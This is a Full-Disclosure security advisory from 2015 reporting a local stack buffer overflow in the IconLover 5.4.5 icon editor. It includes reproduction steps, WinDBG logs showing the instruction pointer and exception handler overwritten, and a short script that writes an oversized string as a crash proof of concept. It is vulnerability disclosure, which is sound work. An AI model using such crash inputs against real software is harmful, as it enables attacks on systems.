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List: full-disclosure
Subject: [FD] IconLover v5.4.5 - Stack Buffer Overflow Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2015-09-28 9:27:23
Message-ID: 560907FB.9040201 () vulnerability-lab ! com
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Document Title:
===============
IconLover v5.4.5 - Stack Buffer Overflow Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1609
Release Date:
=============
2015-09-28
Vulnerability Laboratory ID (VL-ID):
====================================
1609
Common Vulnerability Scoring System:
====================================
7.1
Product & Service Introduction:
===============================
IconLover is a powerful, yet easy to use icon editor for making your own icons for any \
operating system, including Windows, Mac OS, UNIX, Android and iOS. It creates native Windows \
icons (ICO format) of all sizes, up to 768x768 used in Windows 10, and native MacOS icons (ICNS \
format) up to 1024x1024 pixels (this size is used in the latest Mac OS X versions). \
UNIX/Linux, Android and iOS use icons in PNG format which is fully supported by IconLover - you \
can create icons in this format from scratch or convert the existing Windows and Mac OS icons \
to PNG.
(Copy of the Homepage: http://www.aha-soft.com/iconlover/ )
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability \
in the IconLover v5.4.2 and v5.4.5 software.
Vulnerability Disclosure Timeline:
==================================
2015-09-28: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
AHA-Soft
Product: IconLover - Software (Windows) 5.42 and 5.45
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A stack buffer overflow vulnerability has been discovered in the official in the IconLover \
v5.4.2 and v5.4.5 software. The local vulnerability allows to overwrite the registers of the \
software process to compromise the target system.
The vulnerability is located in the `File -> New Icon Lybrary` and `Lybrary -> Download` \
module. Local attackers are able to include a malicious unicode payload as `URL` (input) to \
crash the software via stack buffer overflow vulnerability. Local attackers are able to \
takeover the system process by escalate of privileges to compromise the local target system.
The security risk of the stack buffer overflow vulnerability is estimated as high with a cvss \
(common vulnerability scoring system) count of 7.1. Exploitation of the vulnerability requires \
a low privilege system user account and no user interaction. Successful exploitation of the \
local vulnerability results in system compromise by elevation of privileges via overwrite of \
the registers.
Vulnerable Module(s):
[+] File -> New Icon Lybrary > Lybrary -> Download
Vulnerable Input(s):
[+] Website Adress (URL)
Proof of Concept (PoC):
=======================
The local buffer overflow software vulnerability can be exploited by local attackers with low \
privilege system user accounts and without user interaction. For security demonstration or to \
reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Copy a large unicode AAAA+... string from bof.txt to your clipboard
2. Run the IconLover.exe software
3. Click the File -> New Icon Lybrary option
4. Click the Lybrary and push the Download button
5. Paste it the input Website Adress (URL) AAAA+... string click ok and hide
6. Software will crash via stack buffer overflow. Now the attacker can overwrite the registers
7. Successful reproduce of the vulnerability!
--- Debug Logs [WinDBG] ---
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=76db72cd esi=00000000 edi=00000000
eip=41414141 esp=0012f048 ebp=0012f068 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
41414141 ?? ???
0:000> !exchain
0012f05c: ntdll!RtlRaiseStatus+c8 (76db72cd)
0012fa88: 41414141
Invalid exception stack at 41414141
0:000> d 0012fa88
0012fa88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fa98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012faa8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fab8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fac8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fad8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fae8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012faf8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
PoC: Exploit.pl
buffer = "\x41"*10000
file = open("bof.txt","w")
file.write(buffer)
file.close()
print "File Created"
print " Contact msk4@live.fr"
Security Risk:
==============
The security risk of the local stack buffer overflow vulnerability in the IconLover v5.4.5 \
software is estimated as high. (CVSS 7.1)
Credits & Authors:
==================
ZwX (http://zwx.fr/) [http://www.vulnerability-lab.com/show.php?user=ZwX]
Disclaimer & Information:
=========================
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